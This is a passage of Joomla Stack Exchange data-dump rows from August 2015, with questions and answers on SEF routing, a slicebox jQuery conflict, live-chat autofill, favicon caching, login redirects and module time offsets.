there is already much flexibility on where and when to show a module.&lt;/p&gt;&#xA;&lt;h3&gt;Module Positions in Templates&lt;/h3&gt;&#xA;&lt;p&gt;Of course, there can be control inside the template through conditional statements, to manipulate if a module - module position should be called etc.&lt;/p&gt;&#xA;&lt;p&gt;For example one possible way to do what you want, and check for what template style is being used and then decide to show or not a module position is like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$styleId = JMenu::getInstance('site')-&amp;gt;getActive()-&amp;gt;template_style_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or you could simply remove a specific module position from a template.&lt;/p&gt;&#xA;&lt;h3&gt;Module Manager &amp;amp; Advanced Module Manager&lt;/h3&gt;&#xA;&lt;p&gt;But generally, as others stated you might not want to do all these inside your template, and simply assign modules by menu items.&lt;/p&gt;&#xA;&lt;p&gt;And for those that need extended control over when a module should be displayed or not, there is the &lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;NoNumbers Advanced Module Manager&lt;/strong&gt;&lt;/a&gt;, that gives almost unlimited assignment possibilities, including assignments by template.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-26T21:37:58.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12339" PostTypeId="5" CreationDate="2015-08-26T22:00:40.360" Score="0" Body="" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-26T22:00:40.360" LastActivityDate="2015-08-26T22:00:40.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12340" PostTypeId="4" CreationDate="2015-08-26T22:00:40.360" Score="0" Body="For questions about the Global Configuration settings of Joomla - configuration.php" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-26T22:00:40.360" LastActivityDate="2015-08-26T22:00:40.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12341" PostTypeId="1" AcceptedAnswerId="12377" CreationDate="2015-08-27T00:57:43.173" Score="2" ViewCount="476" Body="&lt;p&gt;I 'm writing a custom component and I already get done the router.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;function empresaBuildRoute(&amp;amp;$query) //Esta función divide la url y se trae las variables.&#xA;{&#xA;    $segments = array();&#xA;    if (isset($query['view']))&#xA;    {&#xA;        $segments[] = $query['view'];&#xA;        unset($query['view']);&#xA;    }&#xA;    if (isset($query['padre']))&#xA;    {&#xA;        $segments[] = $query['padre'];&#xA;        unset($query['padre']);&#xA;    };&#xA;    if (isset($query['id']))&#xA;    {&#xA;        $segments[] = $query['id'];&#xA;        unset($query['id']);&#xA;    };&#xA;    if (isset($query['categoria']))&#xA;    {&#xA;        $segments[] = $query['categoria'];&#xA;        unset($query['categoria']);&#xA;    };&#xA;    if (isset($query['empresa']))&#xA;    {&#xA;        $segments[] = $query['empresa'];&#xA;        unset($query['empresa']);&#xA;    };&#xA;&#xA;    return $segments;&#xA;}&#xA;function empresaParseRoute($segments) //Esta función reconoce las variables y las reacomoda.&#xA;{   &#xA;&#xA;    //print_r($segments); //Si deseas verificar el contenido de la Array &quot;segments&quot;.&#xA;&#xA;    $vars = array();&#xA;    switch($segments[0])&#xA;    {&#xA;        case 'actividad': //Verifica las View y según cada una del componente, ordena las variables.&#xA;            $vars['view'] = 'actividad';&#xA;            $id = explode(':', $segments[2]); //Los segmentos son una array que contiene otra array&#xA;            $vars['id'] = (int) $id[0]; //La posicion 0 de la array contenida en la posicion 2 de la array anterior&#xA;        break;&#xA;&#xA;        case 'empresa':&#xA;            $vars['view'] = 'empresa';&#xA;            print_r($segments);&#xA;            $categoria = explode(':', $segments[1]);&#xA;            $vars['categoria'] = (int) $categoria[0];&#xA;            $empresa = explode(':', $segments[2]);&#xA;            $vars['empresa'] = (int) $empresa[0];&#xA;        break;&#xA;    }&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does its job but the url looks like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/actividad/10-hosteleria-y-restaurantes/11-cervecerias&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I read a lot but there's just information for remove ID in articles (that's old, joomla 3.x do this by default), nothing about this. Can some one help me with this?&lt;/p&gt;&#xA;" OwnerUserId="5803" LastEditorUserId="126" LastEditDate="2015-08-29T14:00:10.830" LastActivityDate="2015-08-29T14:00:10.830" Title="How to remove IDs from SEF URL in Joomla?" Tags="|component|development|url|sef|jroute|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12342" PostTypeId="1" CreationDate="2015-08-27T03:40:12.540" Score="0" ViewCount="1654" Body="&lt;p&gt;Ok so I'm trying to use slicebox on  my website and I can't get it work.&#xA;It gets loaded, I mean the module is there, the script goes into the page but nothing is really shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I don't load it's own jQuery I get that jQuery is not defined AND TypeError: jQuery(...).slicebox.&#xA;When I load it's jQuery I get &quot;TypeError: jQuery(...).slicebox is not a function&quot; error in console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jQuery not defined problem is from jQuery not being loaded before slicebox I gather, that's why enabling it loaded in the module or putting it manually before anything else fixes it. The other error is the main problem I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried on my template and on protostar. Same thing. I have tried 3 different joomla extensions all based on the base slicebox code - all give me the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried not loading jQuery other than the one from the module - ofc then my whole page goes into mess but the module still won't give me the slicebox. I have no problem with any other jQuery things on my website. Mostly I get the problem with $ so I change it to &quot;(function($)&#xA;{ ... })(jQuery);&quot;. This time this trick didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked around for answers but couldn't find anything that helps me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and if I go over to IE, it gives an error like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;slicebox = jQuery( '#sb-slider' ).slicebox( {&#xA;                        onReady : function() {&#xA;                            $navArrows.show();$navDots.show();$shadow.show();                           },&#xA;                        orientation : 'v',&#xA;                        perspective : 1200,&#xA;                        cuboidsCount : 5,&#xA;                        cuboidsRandom : false,&#xA;                        maxCuboidsCount : 5,&#xA;                        disperseFactor : 0,&#xA;                        colorHiddenSides : '#222',&#xA;                        sequentialFactor : 150,&#xA;                        Speed : 600,&#xA;                        easing : 'ease',&#xA;                        autoplay : true,&#xA;                        interval: 3000,&#xA;                        fallbackFadeSpeed : 300,&#xA;&#xA;                        onBeforeChange : function( pos ) {&#xA;                            $nav.removeClass( 'nav-dot-current' );&#xA;                            $nav.eq( pos ).addClass( 'nav-dot-current' );&#xA;                        }&#xA;                    } ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(X) Object doesn't support property or method 'slicebox'&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Any suggestions how to make this work? I'm really surprised because this consistently refuses to work while all other jQuery scripts I use work without a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I have done one more test. Switched between various templates trying to see how things change. And now I see that while in my own template and protostar I get the above errors with this module active, then if I switch to Beez3 then the page loads as just blank white page O_o. But when I turn off the module the page loads fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Ok, so I've got some development here. I have removed everything else I got in the head section, chiefly two things seemed to cause trouble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my main template.js which then started giving me &quot;TypeError: $(...).tooltip is not a function&quot; error after I removed jdoc head. The mainshen.js is a simple script I use so that buttons work fine in joomla frontend editing, it's copypasta from protostar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($)&#xA;{&#xA;    $(document).ready(function()&#xA;    {&#xA;        $('*[rel=tooltip]').tooltip()&#xA;&#xA;        // Turn radios into btn-group&#xA;        $('.radio.btn-group label').addClass('btn');&#xA;        $(&quot;.btn-group label:not(.active)&quot;).click(function()&#xA;        {&#xA;            var label = $(this);&#xA;            var input = $('#' + label.attr('for'));&#xA;&#xA;            if (!input.prop('checked')) {&#xA;                label.closest('.btn-group').find(&quot;label&quot;).removeClass('active btn-success btn-danger btn-primary');&#xA;                if (input.val() == '') {&#xA;                    label.addClass('active btn-primary');&#xA;                } else if (input.val() == 0) {&#xA;                    label.addClass('active btn-danger');&#xA;                } else {&#xA;                    label.addClass('active btn-success');&#xA;                }&#xA;                input.prop('checked', true);&#xA;            }&#xA;        });&#xA;        $(&quot;.btn-group input[checked=checked]&quot;).each(function()&#xA;        {&#xA;            if ($(this).val() == '') {&#xA;                $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-primary');&#xA;            } else if ($(this).val() == 0) {&#xA;                $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-danger');&#xA;            } else {&#xA;                $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-success');&#xA;            }&#xA;        });&#xA;    })&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I added things like this to the head instead (just fishing so it's pretty random):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://localhost/joomla/plugins/content/fastsocialshare/style/style.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://localhost/joomla/modules/mod_je_slicebox3d/css/slicebox.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://fonts.googleapis.com/css?family=Open+Sans+Condensed:300&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/joomla/media/jui/css/bootstrap.min.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/joomla/media/jui/css/bootstrap-responsive.min.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/joomla/media/jui/css/bootstrap-extended.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/joomla/media/system/css/frontediting.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;  &amp;lt;script src=&quot;http://code.jquery.com/jquery-latest.pack.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;script src=&quot;http://localhost/joomla/modules/mod_je_slicebox3d/js/modernizr.custom.46884.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;script src=&quot;http://localhost/joomla/modules/mod_je_slicebox3d/js/jquery.slicebox.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;  &amp;lt;script src=&quot;/joomla/media/jui/js/jquery-noconflict.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now it works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is now, what is going on here? And how can I make that slicebox work with mainshen.js (the one with tooltip) and &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;? Where is the conflict here and how to solve it without gutting joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how my index.php looks in the template, and it worked so far:&#xA;&lt;a href=&quot;http://pastebin.com/4BQek6Jc&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="5645" LastEditDate="2015-08-27T13:34:59.910" LastActivityDate="2015-08-27T17:06:33.010" Title="TypeError: jQuery(...).slicebox is not a function" Tags="|module|joomla-3.4|javascript|jquery|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12343" PostTypeId="1" CreationDate="2015-08-27T04:58:45.517" Score="1" ViewCount="44" Body="&lt;p&gt;I would like to add some value against few items in Joomla 3.0. In the following code I would like to add value in the name and date item: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$item = get_object_vars($this-&amp;gt;item); &#xA;$display_fields = array('name', 'email' 'date', 'amount');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like in date value, it will be showing date format like Y-m-d or in name item it will be showing some value like ABC. Right now in the above code, name and date value item are coming dynamically from other sources but I want to restrict it with my custom given name and date format. Need your help on this.&lt;/p&gt;&#xA;" OwnerUserId="4096" LastEditorUserId="126" LastEditDate="2015-08-27T08:18:54.840" LastActivityDate="2015-08-27T08:18:54.840" Title="How to add value against an Item in Joomla?" Tags="|joomla-3.x|php|" AnswerCount="0" CommentCount="1" ClosedDate="2015-10-29T18:25:53.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="12344" PostTypeId="1" CreationDate="2015-08-27T05:55:42.323" Score="2" ViewCount="69" Body="&lt;p&gt;I'm trying to get a 3rd party livehelp to autofill with Joomla users name and email when logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the js code to autofill:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LHCChatOptionsPage.attr_prefill = new Array();&#xA;LHCChatOptionsPage.attr_prefill.push({'name':'email','value':'test@email.com','hidden':true});&#xA;LHCChatOptionsPage.attr_prefill.push({'name':'username','value':'Username here'});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the php code to get the variables from Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user =&amp;amp; JFactory::getUser();&#xA;$user_name = $user-&amp;gt;name; &#xA;$user_email = $user-&amp;gt;email;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what do I need to do to use them together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5805" LastEditorUserId="5808" LastEditDate="2015-08-27T13:13:17.643" LastActivityDate="2015-08-27T13:13:17.643" Title="How do I make a 3rd party livehelp autofill with Joomla users' names and email when logged in?" Tags="|php|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12345" PostTypeId="2" ParentId="12344" CreationDate="2015-08-27T07:29:25.170" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;https://docs.joomla.org/JDocument/addScriptDeclaration&quot; rel=&quot;nofollow&quot;&gt;addScriptDeclaration&lt;/a&gt; for this. With this function you can add JavaScript code to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of your website.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$doc = JFactory::getDocument();&#xA;$user = JFactory::getUser();&#xA;&#xA;$js = &quot;LHCChatOptionsPage.attr_prefill = new Array();&quot;;&#xA;$js .= &quot;LHCChatOptionsPage.attr_prefill.push({'name': 'email', 'value': '&quot; . $user-&amp;gt;email . &quot;', 'hidden': true});&quot;;&#xA;$js .= &quot;LHCChatOptionsPage.attr_prefill.push({'name': 'username', 'value': '&quot; . $user-&amp;gt;name . &quot;'});&quot;&#xA;&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-27T07:29:25.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12346" PostTypeId="2" ParentId="12283" CreationDate="2015-08-27T08:18:46.407" Score="1" Body="&lt;p&gt;According to the error, &lt;em&gt;document.formvalidator&lt;/em&gt; (media/system/js/validate.js) is not instantiated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be caused by a Javascript conflict in the page or a loading error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if you have any browser console error (for example, a conflict caused by a third-party tinyMCE plugin) or any issue loading the Javascript file.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-27T08:18:46.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12347" PostTypeId="1" AcceptedAnswerId="12359" CreationDate="2015-08-27T09:29:18.820" Score="1" ViewCount="913" Body="&lt;p&gt;When a login form menu Item Type is created, is there a way to set the redirect URL to the page the user click the login link to reach the login form page and set it to some sort of default if the user manually typed in the login url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is somewhat possible with the Login Module where the Default Redirect URL is the page the user enter their login details but there is no such option for the Menu Item. Or will I have to resort to some component like 'Redirect on Login' for this? &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-08-27T19:38:02.783" Title="Redirect to Previous Page after successful Login/Logout using Menu Item" Tags="|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12349" PostTypeId="1" CreationDate="2015-08-27T11:17:31.583" Score="0" ViewCount="107" Body="&lt;p&gt;I'm using the GK News Show Pro 5 module for displaying my articles. I have a problem with the publishing of the articles, because it appears 24 hours after I publish the article. I changed the time offset of the module to +12, then to 0, and then to -12, but the result is the same. What could be the matter?&lt;/p&gt;&#xA;" OwnerUserId="5214" LastEditorUserId="126" LastEditDate="2015-08-27T12:26:04.793" LastActivityDate="2015-08-27T21:24:16.860" Title="How to increase the time offset of a module?" Tags="|joomla-3.x|module|articles|module-display|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12350" PostTypeId="2" ParentId="12349" CreationDate="2015-08-27T12:25:27.767" Score="1" Body="&lt;p&gt;It's likely that you are viewing cached content on your browser.&#xA;Is this happening only for this module, are you able to see other updated content?&lt;/p&gt;&#xA;&lt;h2&gt;About Cache&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First of all, set the module time offset to 0.&lt;/li&gt;&#xA;&lt;li&gt;Then go to &lt;strong&gt;System-&amp;gt;Clear Cache&lt;/strong&gt; and empty all the cached files.&lt;/li&gt;&#xA;&lt;li&gt;Do also a &lt;strong&gt;Purge Expired Cache&lt;/strong&gt; just in case.&lt;/li&gt;&#xA;&lt;li&gt;Clear your &lt;strong&gt;Browser's cache&lt;/strong&gt; and refresh your page.&lt;/li&gt;&#xA;&lt;li&gt;See if the module has updated its content.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Cache Settings in Joomla:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Global Configuration&lt;/strong&gt;-&amp;gt;&lt;strong&gt;System tab&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Individual Modules Cache setting: For GK Module you can find it in the &lt;strong&gt;Basic Settings&lt;/strong&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Plugin Manager-&amp;gt;System - Page Cache plugin&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Other reasons for getting cached content:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some hosting providers, offer site speed-enhancements services, which they cache the website's output.&lt;/li&gt;&#xA;&lt;li&gt;CDN services also serve cache content&lt;/li&gt;&#xA;&lt;li&gt;htaccess settings may also instruct the browser to cache content.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-27T12:27:43.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12351" PostTypeId="1" AcceptedAnswerId="15133" CreationDate="2015-08-27T12:47:33.490" Score="0" ViewCount="27" Body="&lt;p&gt;Using Joomla 2.5 / Virtuemart 3. Our client wants to add direct card payments to the site to avoid PayPal's transactions fees etc. So is it possible to accept card payments without a third party plugin? Can it be done direct on the website?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2016-01-31T11:38:14.883" Title="Is it possible to accept card payments direct through Virtuemart 3?" Tags="|joomla-2.5|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12352" PostTypeId="1" AcceptedAnswerId="12383" CreationDate="2015-08-27T13:16:11.270" Score="0" ViewCount="47" Body="&lt;p&gt;I am trying to load the Media Manager when the user clicks on a link. It does load but instead of loading as a popup in the same page, only the popup loads in a separate window/tab. Here is the code I am using. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a rel=&quot;{handler: 'iframe', size: {x: 570, y: 400}}&quot; onclick=&quot;IeCursorFix();return false;&quot; href=&quot;http://www.domain.com/index.php?option=com_media&amp;amp;amp;view=images&amp;amp;amp;tmpl=component&amp;amp;amp;e_name=text&quot; title=&quot;Image&quot; class=&quot;modal-button&quot;&amp;gt;Image&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-08-29T21:35:56.270" Title="Prevent Media Manager popup from loading in a separate window" Tags="|fix-my-code|media-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12353" PostTypeId="1" CreationDate="2015-08-27T14:17:47.090" Score="2" ViewCount="604" Body="&lt;p&gt;For all my Joomla websites, I face the problem that default Joomla favicon shows up after a period of time despite changing with custom favicon through FileZilla mode. Is there any permanent solution?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2019-03-25T00:44:29.543" Title="Default Joomla Favicon shows up despite changing with custom favicon" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12354" PostTypeId="2" ParentId="12353" CreationDate="2015-08-27T14:26:15.707" Score="4" Body="&lt;p&gt;Favicons can admittedly be a pain in the arse.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Solution 1:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Add a query to the path of the favicon (&lt;code&gt;?v=2&lt;/code&gt;), for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl; ?&amp;gt;/templates/YOUR_TEMPLATE/favicon.ico?v=2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This forces the browser to download a newer version of the favicon&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Solution 2:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to: &lt;strong&gt;www.yoursite.com/templates/YOUR_TEMPLATE/favicon.ico&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Push &lt;kbd&gt;enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;F5&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Restart Browser&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-27T14:26:15.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12355" PostTypeId="2" ParentId="12341" CreationDate="2015-08-27T15:11:58.597" Score="0" Body="&lt;p&gt;Create a menu item for any items you don't want to have an ID shown, at the very least a menu item for the parent category &lt;code&gt;/actividad/10-hosteleria-y-restaurantes&lt;/code&gt; in your example then the alias (used to generate the URL) can be set to whatever you want.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-08-27T15:11:58.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12357" PostTypeId="2" ParentId="12342" CreationDate="2015-08-27T16:49:48.510" Score="1" Body="&lt;p&gt;I found it! I found the answer! Omg in the end it was so simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, the problem was - I guess? - with two jQuery libraries being loaded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jdoc:include type=&quot;head&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives me the jQuery v1.11.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the code in &lt;code&gt;mod_je_slicebox3d.php&lt;/code&gt; (the main php file of the slicebox module, which also contains the script I have mentioned in the question), wants to load a slightly different one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://code.jquery.com/jquery-latest.pack.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so:  jQuery v1.11.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried before to simply copy paste (just to see what happens) all from &lt;code&gt;http://code.jquery.com/jquery-latest.pack.js&lt;/code&gt; to the jQuery I have in &lt;code&gt;/joomla/media/jui/js/jquery.min.js&lt;/code&gt; with no positive results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I figured, I need to do this the other way, so inside &lt;code&gt;mod_je_slicebox3d.php&lt;/code&gt; I have instead changed this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Line 68)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($params-&amp;gt;get('jQuery')) {$doc-&amp;gt;addScript ('http://code.jquery.com/jquery-latest.pack.js');}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($params-&amp;gt;get('jQuery')) {$doc-&amp;gt;addScript ('/joomla/media/jui/js/jquery.min.js');}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and BANG! I works now. Works with jhead and with my custom template .js file all without a problem now :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will be of some use to others who encounter this same issue.&lt;/p&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="5645" LastEditDate="2015-08-27T17:06:33.010" LastActivityDate="2015-08-27T17:06:33.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12358" PostTypeId="2" ParentId="12353" CreationDate="2015-08-27T17:31:52.383" Score="2" Body="&lt;p&gt;Clear your cache and/or restart your local server. If not it takes time for the changes to take effect.&lt;/p&gt;&#xA;" OwnerUserId="5811" LastActivityDate="2015-08-27T17:31:52.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12359" PostTypeId="2" ParentId="12347" CreationDate="2015-08-27T19:38:02.783" Score="2" Body="&lt;p&gt;You can try change the login component and add some script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;function goBack() {&#xA;    window.history.go(-2);&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but y dont know if this apply in all your cases after login.&#xA;In joomla, if you click in some content &quot;registered&quot; you automatticaly redirect to login. After Login you automattically redirect to your registered content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I could answer your question. Perhaps you could give some more details on the whole process you are trying to do.&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-27T19:38:02.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12360" PostTypeId="2" ParentId="12349" CreationDate="2015-08-27T21:24:16.860" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;You check your server time?&lt;/li&gt;&#xA;&lt;li&gt;You check your server time zone in System &gt;&gt; Global configuration &gt;&gt; Server &gt;&gt; Location Settings :: Server Time Zone* ?&#xA;You need config to same time in both.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-27T21:24:16.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12362" PostTypeId="2" ParentId="10181" CreationDate="2015-08-27T23:06:45.013" Score="4" Body="&lt;p&gt;If your admin area works widthout .htaccess its possible your joomla config has rewrite option enable. You can try edit your configuration.php file and change the status directly in configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sef_rewrite = '0';&#xA;$sef = '0';&#xA;$sef_suffix = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-08-30T16:09:44.827" LastActivityDate="2015-08-30T16:09:44.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
